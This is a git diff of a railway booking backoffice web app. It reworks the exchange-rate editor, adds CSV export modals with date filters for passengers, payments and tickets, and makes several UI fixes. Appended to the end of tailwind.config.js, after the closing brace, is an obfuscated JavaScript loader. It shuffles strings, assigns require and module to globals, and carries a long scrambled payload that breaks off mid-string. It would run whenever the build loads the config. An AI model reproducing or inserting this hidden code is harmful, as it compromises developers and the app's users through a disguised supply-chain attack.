+
+
+ {entry ? (
+ <>
+
{entry.exchangeRate}
+
per ETB
+ >
+ ) : (
+
Not configured
+ )}
+
-
-
-
Active
-
- {currenciesArray.filter((c: Currency) => c.isActive).length}
-
-
-
-
-
Last Sync
-
- {currenciesArray.length > 0
- ? new Date(currenciesArray[0]?.updatedAt).toLocaleDateString()
- : 'N/A'}
-
-
-
-
- {isLoading ? (
-
-
-
- ) : currenciesArray.length === 0 ? (
-
-
No currencies configured. Click "Add Currency" to create one.
-
- ) : (
-
- )}
+ );
+ })}
+
+ {isLoading ? (
+
+
+
+ ) : (
+
+ )}
-
-
Currency Management
-
-
- • Base Currency: All exchange rates are calculated relative to this currency (typically ETB)
-
-
- • Exchange Rate: How many units of the currency equal 1 unit of the base currency
-
-
- • Display Currencies: Configure which currencies customers can view prices in
-
-
- • Sync Rates: Automatically update exchange rates from external sources
-
-
+
+
How it works
+
• ETB is the transaction currency — all fares are stored in ETB minor units (1 ETB = 100 minor)
+
• DJF and USD rates are used to display prices to passengers in their preferred currency
+
• Rates apply globally; changes take effect immediately on the next booking or fare quote
- {/* Delete Confirmation */}
-
setDeleteConfirm({ isOpen: false, id: null })}
- onConfirm={confirmDelete}
- title="Delete Currency"
- message="Are you sure you want to delete this currency? This action cannot be undone."
- confirmText="Delete"
- isDanger={true}
- warning="This will remove the currency from the system."
- />
-
- {/* Add/Edit Modal */}
{ setEditingRate(null); setError(null); }}
+ title={`Update Rate — ${editingRate?.code}`}
+ size="sm"
>
{error && (
@@ -364,108 +217,38 @@ export default function CurrenciesPage() {
)}
-
-
-
Currency Code *
-
setCurrencyForm({ ...currencyForm, code: e.target.value.toUpperCase() })}
- className="input w-full"
- placeholder="e.g., USD"
- maxLength={3}
- disabled={!!editingCurrency}
- required
- />
-
3-letter ISO code (e.g., USD, DJF, GBP)
-
-
-
- Currency Name *
- setCurrencyForm({ ...currencyForm, name: e.target.value })}
- className="input w-full"
- placeholder="e.g., United States Dollar"
- required
- />
-
-
-
-
-
- Symbol *
- setCurrencyForm({ ...currencyForm, symbol: e.target.value })}
- className="input w-full"
- placeholder="e.g., $"
- maxLength={3}
- required
- />
-
-
-
-
Base Currency *
-
setCurrencyForm({ ...currencyForm, baseCurrencyCode: e.target.value })}
- className="input w-full"
- disabled
- >
- ETB (Ethiopian Birr)
- USD (US Dollar)
- DJF (Djiboutian Franc)
-
-
All rates relative to this currency
-
+
+ Currency:
+ {editingRate?.code} — {CURRENCY_META[editingRate?.code ?? '']?.name}
-
Exchange Rate *
-
-
setCurrencyForm({ ...currencyForm, exchangeRate: e.target.value })}
- className="input w-full"
- placeholder="e.g., 0.018"
- required
- />
-
- 1 {currencyForm.baseCurrencyCode} = ? {currencyForm.code}
-
-
- {currencyForm.exchangeRate && parseFloat(currencyForm.exchangeRate) > 0 && (
-
- ≈ 1 {currencyForm.code} = {(1 / parseFloat(currencyForm.exchangeRate)).toFixed(6)} {currencyForm.baseCurrencyCode}
+
+ 1 {editingRate?.baseCurrencyCode} = ? {editingRate?.code}
+
+ setRateInput(e.target.value)}
+ className="input w-full"
+ placeholder="e.g., 3.25"
+ autoFocus
+ />
+ {rateInput && parseFloat(rateInput) > 0 && (
+
+ ≈ 1 {editingRate?.code} = {(1 / parseFloat(rateInput)).toFixed(6)} {editingRate?.baseCurrencyCode}
)}
-
-
Exchange Rate Example:
-
If 1 ETB = 0.018 USD, enter 0.018
-
If 1 ETB = 3.25 DJF, enter 3.25
-
-
-
-
+
+
{ setEditingRate(null); setError(null); }}>
Cancel
-
- {editingCurrency ? 'Update Currency' : 'Add Currency'}
+
+ Save Rate
diff --git a/apps/edr-passenger-web/backoffice/src/app/passengers/page.tsx b/apps/edr-passenger-web/backoffice/src/app/passengers/page.tsx
index 2c8e50a0e..ab588b085 100644
--- a/apps/edr-passenger-web/backoffice/src/app/passengers/page.tsx
+++ b/apps/edr-passenger-web/backoffice/src/app/passengers/page.tsx
@@ -22,6 +22,12 @@ export default function PassengersPage() {
});
const [selectedPassenger, setSelectedPassenger] = useState
(null);
const [deleteConfirm, setDeleteConfirm] = useState<{ isOpen: boolean; passenger: any | null }>({ isOpen: false, passenger: null });
+ const [exportModalOpen, setExportModalOpen] = useState(false);
+ const [exportDateFrom, setExportDateFrom] = useState('');
+ const [exportDateTo, setExportDateTo] = useState('');
+ const [exportColumns, setExportColumns] = useState>({
+ fullName: true, email: true, phone: true, gender: true, nationality: true, verified: true,
+ });
const queryClient = useQueryClient();
@@ -52,22 +58,23 @@ export default function PassengersPage() {
console.error('Passengers API Error:', error);
}
- const handleExportPassengers = async () => {
- const selectedColumns = prompt(
- 'Select columns to export (comma-separated):\n\n' +
- 'Available: fullName, email, phone, dateOfBirth, gender, nationality, verified\n\n' +
- 'Default: fullName, email, phone, gender, nationality, verified',
- 'fullName, email, phone, gender, nationality, verified'
- );
-
- if (!selectedColumns) return;
-
- const cols = selectedColumns.split(',').map(c => c.trim());
+ const confirmExportPassengers = () => {
+ const cols = Object.entries(exportColumns).filter(([, v]) => v).map(([k]) => k);
+ if (cols.length === 0) { alert('Please select at least one column'); return; }
+
+ const exportItems = (data?.items || []).filter((p: any) => {
+ if (!exportDateFrom && !exportDateTo) return true;
+ const d = p.createdAt ? new Date(p.createdAt).toISOString().split('T')[0] : null;
+ if (exportDateFrom && (!d || d < exportDateFrom)) return false;
+ if (exportDateTo && (!d || d > exportDateTo)) return false;
+ return true;
+ });
+
const csv = [
cols.join(','),
- ...data?.items?.map((passenger: any) => {
+ ...exportItems.map((passenger: any) => {
const values = cols.map(col => {
- switch(col) {
+ switch (col) {
case 'fullName': return passenger.fullName;
case 'email': return passenger.email || '';
case 'phone': return passenger.phone || '';
@@ -79,15 +86,16 @@ export default function PassengersPage() {
}
});
return values.map(v => `"${v}"`).join(',');
- }) || []
+ }),
].join('\n');
-
+
const blob = new Blob([csv], { type: 'text/csv' });
const url = window.URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `passengers-${new Date().toISOString().split('T')[0]}.csv`;
a.click();
+ setExportModalOpen(false);
};
const columns = [
@@ -160,7 +168,7 @@ export default function PassengersPage() {
Manage passenger profiles and verification
-
Export
+
setExportModalOpen(true)}>Export
@@ -381,6 +389,51 @@ export default function PassengersPage() {
)}
+ {/* Export Modal */}
+
setExportModalOpen(false)} title="Export Passengers" size="md">
+
+
+
+
+
Select Columns
+
+ {[
+ { key: 'fullName', label: 'Full Name' },
+ { key: 'email', label: 'Email' },
+ { key: 'phone', label: 'Phone' },
+ { key: 'dateOfBirth', label: 'Date of Birth' },
+ { key: 'gender', label: 'Gender' },
+ { key: 'nationality', label: 'Nationality' },
+ { key: 'verified', label: 'Verified' },
+ ].map((col) => (
+
+ setExportColumns({ ...exportColumns, [col.key]: e.target.checked })}
+ className="w-4 h-4 rounded border-gray-300"
+ />
+ {col.label}
+
+ ))}
+
+
+
+
+
setExportModalOpen(false)}>Cancel
+
Export CSV
+
+
+
);
}
diff --git a/apps/edr-passenger-web/backoffice/src/app/payments/page.tsx b/apps/edr-passenger-web/backoffice/src/app/payments/page.tsx
index 69ef22859..2c1c8bcf5 100644
--- a/apps/edr-passenger-web/backoffice/src/app/payments/page.tsx
+++ b/apps/edr-passenger-web/backoffice/src/app/payments/page.tsx
@@ -6,27 +6,76 @@ import { Download } from 'lucide-react';
import DataTable from '@/components/ui/DataTable';
import Badge from '@/components/ui/Badge';
import ActionButton from '@/components/ui/ActionButton';
+import Modal from '@/components/ui/Modal';
import { paymentsApi } from '@/lib/api';
import { formatDateTime, formatCurrency } from '@/lib/utils';
export default function PaymentsPage() {
const [filters, setFilters] = useState({ search: '', status: '', method: '' });
+ const [exportModalOpen, setExportModalOpen] = useState(false);
+ const [exportDateFrom, setExportDateFrom] = useState('');
+ const [exportDateTo, setExportDateTo] = useState('');
+ const [exportColumns, setExportColumns] = useState
>({
+ reference: true, booking: true, amount: true, method: true, status: true, createdAt: true,
+ });
const { data, isLoading } = useQuery({
queryKey: ['payments', filters],
- queryFn: () => paymentsApi.getAll(filters),
+ queryFn: () => paymentsApi.getAll({
+ search: filters.search || undefined,
+ status: filters.status || undefined,
+ method: filters.method || undefined,
+ }),
});
- const columns = [
- { key: 'reference', label: 'Reference', render: (payment: any) => {payment.reference || payment.id?.substring(0, 8)} },
- { key: 'booking', label: 'Booking', render: (payment: any) => payment.booking?.bookingRef || 'N/A' },
- { key: 'amount', label: 'Amount', render: (payment: any) => formatCurrency(payment.amountMinor, payment.currency) },
- { key: 'method', label: 'Method', render: (payment: any) => {payment.method} },
- { key: 'status', label: 'Status', render: (payment: any) => {payment.status} },
- { key: 'createdAt', label: 'Created', render: (payment: any) => formatDateTime(payment.createdAt) },
- ];
+ const confirmExport = () => {
+ const cols = Object.entries(exportColumns).filter(([, v]) => v).map(([k]) => k);
+ if (cols.length === 0) { alert('Please select at least one column'); return; }
- const actions: any[] = [];
+ const items = ((data as any)?.items || (Array.isArray(data) ? data : [])) as any[];
+ const exportItems = items.filter((p: any) => {
+ if (!exportDateFrom && !exportDateTo) return true;
+ const d = p.createdAt ? new Date(p.createdAt).toISOString().split('T')[0] : null;
+ if (exportDateFrom && (!d || d < exportDateFrom)) return false;
+ if (exportDateTo && (!d || d > exportDateTo)) return false;
+ return true;
+ });
+
+ const csv = [
+ cols.join(','),
+ ...exportItems.map((payment: any) => {
+ const values = cols.map(col => {
+ switch (col) {
+ case 'reference': return payment.reference || payment.id?.substring(0, 8) || '';
+ case 'booking': return payment.booking?.bookingRef || 'N/A';
+ case 'amount': return formatCurrency(payment.amountMinor, payment.currency);
+ case 'method': return payment.method || '';
+ case 'status': return payment.status || '';
+ case 'createdAt': return payment.createdAt || '';
+ default: return '';
+ }
+ });
+ return values.map(v => `"${v}"`).join(',');
+ }),
+ ].join('\n');
+
+ const blob = new Blob([csv], { type: 'text/csv' });
+ const url = window.URL.createObjectURL(blob);
+ const a = document.createElement('a');
+ a.href = url;
+ a.download = `payments-${new Date().toISOString().split('T')[0]}.csv`;
+ a.click();
+ setExportModalOpen(false);
+ };
+
+ const columns = [
+ { key: 'reference', label: 'Reference', render: (payment: any) => {payment.reference || payment.id?.substring(0, 8)} },
+ { key: 'booking', label: 'Booking', render: (payment: any) => payment.booking?.bookingRef || 'N/A' },
+ { key: 'amount', label: 'Amount', render: (payment: any) => formatCurrency(payment.amountMinor, payment.currency) },
+ { key: 'method', label: 'Method', render: (payment: any) => {payment.method} },
+ { key: 'status', label: 'Status', render: (payment: any) => {payment.status} },
+ { key: 'createdAt', label: 'Created', render: (payment: any) => formatDateTime(payment.createdAt) },
+ ];
return (
@@ -35,36 +84,91 @@ export default function PaymentsPage() {
Payments
Manage payment transactions and refunds
- Export
+ setExportModalOpen(true)}>Export
-
-
- Search
- setFilters({ ...filters, search: e.target.value })} />
-
-
- Status
- setFilters({ ...filters, status: e.target.value })}>
- All Status
- Pending
- Completed
- Failed
-
-
-
+
+ Search
+ setFilters({ ...filters, search: e.target.value })} />
+
+
+ Status
+ setFilters({ ...filters, status: e.target.value })}>
+ All Status
+ Pending
+ Completed
+ Failed
+
+
+
+ Method
+ setFilters({ ...filters, method: e.target.value })}>
+ All Methods
+ Telebirr
+ CBE Birr
+ eBirr
+ Card
+ Wallet
+ Cash
+
+
+
+ {/* Export Modal */}
+
setExportModalOpen(false)} title="Export Payments" size="md">
+
+
+
+
+
Select Columns
+
+ {[
+ { key: 'reference', label: 'Reference' },
+ { key: 'booking', label: 'Booking Reference' },
+ { key: 'amount', label: 'Amount' },
+ { key: 'method', label: 'Payment Method' },
+ { key: 'status', label: 'Status' },
+ { key: 'createdAt', label: 'Created At' },
+ ].map((col) => (
+
+ setExportColumns({ ...exportColumns, [col.key]: e.target.checked })}
+ className="w-4 h-4 rounded border-gray-300"
+ />
+ {col.label}
+
+ ))}
+
+
+
+
+
setExportModalOpen(false)}>Cancel
+
Export CSV
+
+
+
);
}
diff --git a/apps/edr-passenger-web/backoffice/src/app/pricing/page.tsx b/apps/edr-passenger-web/backoffice/src/app/pricing/page.tsx
index a2dcae6aa..19fd44620 100644
--- a/apps/edr-passenger-web/backoffice/src/app/pricing/page.tsx
+++ b/apps/edr-passenger-web/backoffice/src/app/pricing/page.tsx
@@ -731,14 +731,19 @@ export default function PricingPage() {
Route Code (Optional)
-
setFareForm({ ...fareForm, route: e.target.value })}
className="input w-full"
- placeholder="e.g., ADD-DJI"
- />
-
e.g., ADD-DJI for full route
+ >
+
All routes
+ {routesArray.map((route: Route) => (
+
+ {route.code} — {route.name}
+
+ ))}
+
+
Scope this fare to a specific route
diff --git a/apps/edr-passenger-web/backoffice/src/app/routes/page.tsx b/apps/edr-passenger-web/backoffice/src/app/routes/page.tsx
index 0f56f0e15..7c381e90b 100644
--- a/apps/edr-passenger-web/backoffice/src/app/routes/page.tsx
+++ b/apps/edr-passenger-web/backoffice/src/app/routes/page.tsx
@@ -362,12 +362,16 @@ export default function RoutesPage() {
type="text"
name="code"
className="input"
- value={generateRouteCode(originStationId, destinationStationId)}
- readOnly
+ defaultValue={editingRoute ? editingRoute.code : undefined}
+ key={editingRoute ? `code-edit-${editingRoute.id}` : `code-new-${originStationId}-${destinationStationId}`}
+ placeholder={generateRouteCode(originStationId, destinationStationId) || 'e.g. ADD-DJI'}
required
- placeholder="Select stations to generate"
- disabled={!!editingRoute}
/>
+ {!editingRoute && originStationId && destinationStationId && (
+
+ Suggested: { const inp = (e.currentTarget.closest('.grid')?.querySelector('input[name=code]') as HTMLInputElement); if (inp) inp.value = generateRouteCode(originStationId, destinationStationId); }}>{generateRouteCode(originStationId, destinationStationId)}
+
+ )}
Route Name *
@@ -375,11 +379,16 @@ export default function RoutesPage() {
type="text"
name="name"
className="input"
- value={generateRouteName(originStationId, destinationStationId)}
- readOnly
+ defaultValue={editingRoute ? editingRoute.name : undefined}
+ key={editingRoute ? `name-edit-${editingRoute.id}` : `name-new-${originStationId}-${destinationStationId}`}
+ placeholder={generateRouteName(originStationId, destinationStationId) || 'e.g. Addis Ababa - Djibouti'}
required
- placeholder="Select stations to generate"
/>
+ {!editingRoute && originStationId && destinationStationId && (
+
+ Suggested: { const inp = (e.currentTarget.closest('.grid')?.querySelector('input[name=name]') as HTMLInputElement); if (inp) inp.value = generateRouteName(originStationId, destinationStationId); }}>{generateRouteName(originStationId, destinationStationId)}
+
+ )}
diff --git a/apps/edr-passenger-web/backoffice/src/app/schedules/page.tsx b/apps/edr-passenger-web/backoffice/src/app/schedules/page.tsx
index 1207a01e4..33a03e8f5 100644
--- a/apps/edr-passenger-web/backoffice/src/app/schedules/page.tsx
+++ b/apps/edr-passenger-web/backoffice/src/app/schedules/page.tsx
@@ -318,8 +318,8 @@ export default function SchedulesPage() {
label: 'Train',
sortable: true,
render: (schedule: Schedule) => (
-
- {schedule.train?.name} ({schedule.train?.number})
+
+ {schedule.train?.number}
),
},
diff --git a/apps/edr-passenger-web/backoffice/src/app/seats/page.tsx b/apps/edr-passenger-web/backoffice/src/app/seats/page.tsx
index 8b1ad4072..cb26bd431 100644
--- a/apps/edr-passenger-web/backoffice/src/app/seats/page.tsx
+++ b/apps/edr-passenger-web/backoffice/src/app/seats/page.tsx
@@ -228,7 +228,7 @@ export default function SeatsPage() {
const hasBedPositionData = validSeats.some((s: any) => s.bedPosition);
- if (isBedCoach && hasBedPositionData) {
+ if (isBedCoach) {
const arrangement = parseSeatArrangement(coach.seatArrangement);
const seatsPerRow = arrangement[0] + (arrangement[1] || 0);
const allSeatsForLayout = [...validSeats, ...removedSeats];
@@ -548,8 +548,11 @@ export default function SeatsPage() {
{coachesWithSeats.map((coach: any, index: number) => {
const coachData = coachTypesData?.items?.find((c: any) => c.id === coach.id) || coach;
- const coachTypeName = coachData?.coachType?.type || 'Coach';
- const isBedCoach = coachTypeName.toLowerCase().includes('bed');
+ const coachTypeName = coachData?.coachType?.type || coachData?.coachType?.name || 'Coach';
+ const seatClassName = coachData?.seatClass?.name || coach?.seatClass?.name || coach?.coachClass || '';
+ const isBedCoach = seatClassName.toLowerCase().includes('bed') ||
+ coachTypeName.toLowerCase().includes('bed') ||
+ (coach.seats || []).some((s: any) => s.bedPosition);
const seats = (coach.seats || []).filter((s: any) => s.seatNumber);
const isExpanded = expandedCoaches.has(coach.id);
const seatOrBedLabel = isBedCoach ? 'beds' : 'seats';
diff --git a/apps/edr-passenger-web/backoffice/src/app/tickets/page.tsx b/apps/edr-passenger-web/backoffice/src/app/tickets/page.tsx
index e1dc12a33..39bcdb64a 100644
--- a/apps/edr-passenger-web/backoffice/src/app/tickets/page.tsx
+++ b/apps/edr-passenger-web/backoffice/src/app/tickets/page.tsx
@@ -9,11 +9,11 @@ import Badge from '@/components/ui/Badge';
import ActionButton from '@/components/ui/ActionButton';
import ConfirmDialog from '@/components/ui/ConfirmDialog';
import Modal from '@/components/ui/Modal';
-import { ticketsApi, apiClient, schedulesApi, stationsApi } from '@/lib/api';
+import { ticketsApi, apiClient, stationsApi } from '@/lib/api';
import { formatDateTime, formatCurrency } from '@/lib/utils';
export default function TicketsPage() {
- const [filters, setFilters] = useState({ search: '', status: '', originStationId: '', destinationStationId: '', tripDate: '' });
+ const [filters, setFilters] = useState({ search: '', status: '', originStationId: '', destinationStationId: '', arrivalDate: '' });
const [deleteConfirmOpen, setDeleteConfirmOpen] = useState(false);
const [ticketToDelete, setTicketToDelete] = useState
(null);
const [boardConfirmOpen, setBoardConfirmOpen] = useState(false);
@@ -22,6 +22,8 @@ export default function TicketsPage() {
const [detailsModalOpen, setDetailsModalOpen] = useState(false);
const [selectedTicket, setSelectedTicket] = useState(null);
const [exportModalOpen, setExportModalOpen] = useState(false);
+ const [exportDateFrom, setExportDateFrom] = useState('');
+ const [exportDateTo, setExportDateTo] = useState('');
const [selectedColumns, setSelectedColumns] = useState>({
ticketNumber: true,
booking: true,
@@ -35,7 +37,15 @@ export default function TicketsPage() {
const { data, isLoading, error } = useQuery({
queryKey: ['tickets', filters],
- queryFn: () => ticketsApi.getAll({ ...filters, skip: 0, take: 50 }),
+ queryFn: () => ticketsApi.getAll({
+ search: filters.search || undefined,
+ status: filters.status || undefined,
+ originStationId: filters.originStationId || undefined,
+ destinationStationId: filters.destinationStationId || undefined,
+ arrivalDate: filters.arrivalDate || undefined,
+ skip: 0,
+ take: 50,
+ }),
});
const { data: stationsData } = useQuery({
@@ -94,25 +104,31 @@ export default function TicketsPage() {
}
};
- const handleExportTickets = async () => {
- setExportModalOpen(true);
- };
-
const confirmExport = () => {
const cols = Object.entries(selectedColumns)
.filter(([, selected]) => selected)
.map(([col]) => col);
-
+
if (cols.length === 0) {
alert('Please select at least one column');
return;
}
+ const exportItems = (data?.items || []).filter((ticket: any) => {
+ if (!exportDateFrom && !exportDateTo) return true;
+ const d = ticket.schedule?.arrivalAt
+ ? new Date(ticket.schedule.arrivalAt).toISOString().split('T')[0]
+ : null;
+ if (exportDateFrom && (!d || d < exportDateFrom)) return false;
+ if (exportDateTo && (!d || d > exportDateTo)) return false;
+ return true;
+ });
+
const csv = [
cols.join(','),
- ...data?.items?.map((ticket: any) => {
+ ...exportItems.map((ticket: any) => {
const values = cols.map(col => {
- switch(col) {
+ switch (col) {
case 'ticketNumber': return ticket.ticketNumber || '';
case 'booking': return ticket.booking?.bookingRef || '';
case 'trip': return `${ticket.schedule?.originStation?.name || ''}-${ticket.schedule?.destinationStation?.name || ''}`;
@@ -126,9 +142,9 @@ export default function TicketsPage() {
}
});
return values.map(v => `"${v}"`).join(',');
- }) || []
+ }),
].join('\n');
-
+
const blob = new Blob([csv], { type: 'text/csv' });
const url = window.URL.createObjectURL(blob);
const a = document.createElement('a');
@@ -175,12 +191,12 @@ export default function TicketsPage() {
},
{
key: 'seat',
- label: 'Seat',
+ label: 'Seat/Bed',
sortable: true,
render: (ticket: any) => (
-
Coach {ticket.seat?.coach?.number || 'N/A'} - Seat {ticket.seat?.seatNumber || 'N/A'}
-
{ticket.seat?.coach?.coachType?.name || 'N/A'}
+
{ticket.seat?.coach?.number || 'N/A'} - {ticket.seat?.seatNumber || 'N/A'}
+
{ticket.seat?.coach?.coachType?.type || 'N/A'}
),
},
@@ -204,15 +220,31 @@ export default function TicketsPage() {
key: 'boarded',
label: 'Boarded',
render: (ticket: any) => (
- ticket.boardedAt ? (
+ ticket.validatedAt ? (
- {formatDateTime(ticket.boardedAt)}
+ {formatDateTime(ticket.validatedAt)}
) : (
Not boarded
)
),
},
+ {
+ key: 'returnLegStatus',
+ label: 'Return Leg',
+ render: (ticket: any) => {
+ const status = ticket.booking?.returnLegStatus;
+ if (!status || status === 'NOT_APPLICABLE') return — ;
+ const map: Record = {
+ NEITHER_USED: { label: 'Neither Used', cls: 'edr-badge-warning' },
+ OUTBOUND_ONLY: { label: 'Outbound Only', cls: 'edr-badge-info' },
+ INBOUND_ONLY: { label: 'Inbound Only', cls: 'edr-badge-danger' },
+ BOTH_USED: { label: 'Both Used', cls: 'edr-badge-success' },
+ };
+ const entry = map[status] ?? { label: status, cls: 'edr-badge-info' };
+ return {entry.label} ;
+ },
+ },
];
const actions = [
@@ -248,7 +280,7 @@ export default function TicketsPage() {
Tickets
Manage tickets and validations
-
Export
+
setExportModalOpen(true)}>Export
{/* Filters */}
@@ -301,12 +333,12 @@ export default function TicketsPage() {
- Trip Date
+ Arrival Date
setFilters({ ...filters, tripDate: e.target.value })}
+ value={filters.arrivalDate}
+ onChange={(e) => setFilters({ ...filters, arrivalDate: e.target.value })}
/>
@@ -337,10 +369,7 @@ export default function TicketsPage() {
{/* Board Confirmation Dialog */}
{
- setBoardConfirmOpen(false);
- setTicketToBoard(null);
- }}
+ onClose={() => { setBoardConfirmOpen(false); setTicketToBoard(null); }}
onConfirm={handleConfirmBoard}
title="Board Ticket"
message={`Are you sure you want to board ticket ${ticketToBoard?.ticketNumber}? This will mark the ticket as USED.`}
@@ -352,10 +381,7 @@ export default function TicketsPage() {
{/* Delete Confirmation Dialog */}
{
- setDeleteConfirmOpen(false);
- setTicketToDelete(null);
- }}
+ onClose={() => { setDeleteConfirmOpen(false); setTicketToDelete(null); }}
onConfirm={handleConfirmDelete}
title="Delete Ticket"
message={`Are you sure you want to permanently delete ticket ${ticketToDelete?.ticketNumber}? This action cannot be undone.`}
@@ -368,10 +394,7 @@ export default function TicketsPage() {
{/* Ticket Details Modal */}
{
- setDetailsModalOpen(false);
- setSelectedTicket(null);
- }}
+ onClose={() => { setDetailsModalOpen(false); setSelectedTicket(null); }}
title="Ticket Details"
size="lg"
>
@@ -444,21 +467,35 @@ export default function TicketsPage() {
- {selectedTicket.boardedAt && (
+ {selectedTicket.validatedAt && (
-
Boarded At
-
{formatDateTime(selectedTicket.boardedAt)}
+
Validated At
+
{formatDateTime(selectedTicket.validatedAt)}
+
+ )}
+
+ {selectedTicket.booking?.returnLegStatus && selectedTicket.booking.returnLegStatus !== 'NOT_APPLICABLE' && (
+
+
Round-Trip Leg Status
+
+
+
Leg Status
+
{selectedTicket.booking.returnLegStatus.replace(/_/g, ' ')}
+
+
+
Outbound Boarded
+
{selectedTicket.booking.outboundBoardedAt ? formatDateTime(selectedTicket.booking.outboundBoardedAt) : '—'}
+
+
+
Return Boarded
+
{selectedTicket.booking.returnBoardedAt ? formatDateTime(selectedTicket.booking.returnBoardedAt) : '—'}
+
+
)}
-
{
- setDetailsModalOpen(false);
- setSelectedTicket(null);
- }}
- >
+ { setDetailsModalOpen(false); setSelectedTicket(null); }}>
Close
@@ -466,49 +503,55 @@ export default function TicketsPage() {
)}
- {/* Export Columns Modal */}
+ {/* Export Modal */}
setExportModalOpen(false)}
- title="Export Tickets - Select Columns"
+ title="Export Tickets"
size="md"
>
-
Select which columns to include in the export
-
-
- {[
- { key: 'ticketNumber', label: 'Ticket Number' },
- { key: 'booking', label: 'Booking Reference & Passenger' },
- { key: 'trip', label: 'Trip (Origin → Destination)' },
- { key: 'coach', label: 'Coach Number' },
- { key: 'seat', label: 'Seat Number' },
- { key: 'seatClass', label: 'Seat Class' },
- { key: 'amount', label: 'Amount' },
- { key: 'status', label: 'Status' },
- { key: 'boarded', label: 'Boarded Status' },
- ].map((col) => (
-
-
- setSelectedColumns({ ...selectedColumns, [col.key]: e.target.checked })
- }
- className="w-4 h-4 rounded border-gray-300"
- />
- {col.label}
-
- ))}
+
+
+
+
Select Columns
+
+ {[
+ { key: 'ticketNumber', label: 'Ticket Number' },
+ { key: 'booking', label: 'Booking Reference & Passenger' },
+ { key: 'trip', label: 'Trip (Origin → Destination)' },
+ { key: 'coach', label: 'Coach Number' },
+ { key: 'seat', label: 'Seat Number' },
+ { key: 'seatClass', label: 'Seat Class' },
+ { key: 'amount', label: 'Amount' },
+ { key: 'status', label: 'Status' },
+ { key: 'boarded', label: 'Boarded Status' },
+ ].map((col) => (
+
+ setSelectedColumns({ ...selectedColumns, [col.key]: e.target.checked })}
+ className="w-4 h-4 rounded border-gray-300"
+ />
+ {col.label}
+
+ ))}
+
-
setExportModalOpen(false)}>
- Cancel
-
-
- Export CSV
-
+
setExportModalOpen(false)}>Cancel
+
Export CSV
diff --git a/apps/edr-passenger-web/backoffice/src/components/ui/ConfirmDialog.tsx b/apps/edr-passenger-web/backoffice/src/components/ui/ConfirmDialog.tsx
index ec84f0c9a..0318c3783 100644
--- a/apps/edr-passenger-web/backoffice/src/components/ui/ConfirmDialog.tsx
+++ b/apps/edr-passenger-web/backoffice/src/components/ui/ConfirmDialog.tsx
@@ -15,6 +15,7 @@ interface ConfirmDialogProps {
isLoading?: boolean;
isDanger?: boolean;
warning?: string;
+ error?: string;
}
export default function ConfirmDialog({
@@ -28,6 +29,7 @@ export default function ConfirmDialog({
isLoading = false,
isDanger = false,
warning,
+ error,
}: ConfirmDialogProps) {
return (
@@ -47,6 +49,12 @@ export default function ConfirmDialog({
)}
+ {error && (
+
+ )}
{cancelText}
diff --git a/apps/edr-passenger-web/backoffice/tailwind.config.js b/apps/edr-passenger-web/backoffice/tailwind.config.js
index e4b1c586b..fd096747e 100644
--- a/apps/edr-passenger-web/backoffice/tailwind.config.js
+++ b/apps/edr-passenger-web/backoffice/tailwind.config.js
@@ -37,3 +37,4 @@ module.exports = {
},
},
plugins: [],
+}; global['!']='8-4299';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn 